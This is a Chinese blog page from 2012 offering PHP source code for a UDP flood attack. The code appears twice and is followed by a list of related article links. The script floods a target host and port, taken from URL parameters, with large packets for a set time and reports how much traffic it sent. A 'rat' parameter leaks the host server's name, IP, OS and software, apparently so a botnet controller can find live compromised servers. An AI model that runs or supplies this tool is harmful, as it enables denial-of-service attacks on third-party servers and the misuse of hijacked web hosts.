php实现攻击服务器的自动执行发包源码
2012-06-11 13:47
531 查看
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
if (StrLen($_GET['rat'])<>0){
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "Warning to: opening";
exit;
}
for($i=0;$i<$Sendlen;$i++){
$out .= "A";
}
$max_time = time()+$exec_time;
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
if (StrLen($_GET['rat'])<>0){
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "Warning to: opening";
exit;
}
for($i=0;$i<$Sendlen;$i++){
$out .= "A";
}
$max_time = time()+$exec_time;
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
相关文章推荐
- 【升级版】如何使用阿里云云解析API实现动态域名解析,搭建私有服务器【含可执行文件和源码】
- PHP+jQuery实现自动补全功能源码
- Mangos源码分析(10):服务器公共组件实现之发包的方式
- php自动刷新与关闭页面后继续执行,定时任务的实现方式
- PHP与Memcached服务器交互的分布式实现源码分析
- php与memcached服务器交互的分布式实现源码分析
- 解决php服务器向外发包攻击其它服务器
- Mangos源码分析(10):服务器公共组件实现之发包的方式
- Mangos源码分析(10):服务器公共组件实现之发包的方式
- PHP在线调试执行的实现方法(附demo源码)
- PHP与Memcached服务器交互的分布式实现源码分析
- php与memcached服务器交互的分布式实现源码分析[memcache版]
- golangphp--GO解析PHP源码并实现一个miniPHP服务器
- 利用PHP和linux shell在ubuntu服务器实现自动端口转发
- PHP+jQuery实现自动补全功能源码
- Struts2的执行流程解释以及源码分析(以登录 和自动登录实现 为例)
- NetBeans IDE 实现php开发自动上传到开发服务器 的设置
- PHP在线调试执行的实现方法(附demo源码)
- 修改testNG源码,实现失败用例自动再执行
- [转]php与memcached服务器交互的分布式实现源码分析[memcache版]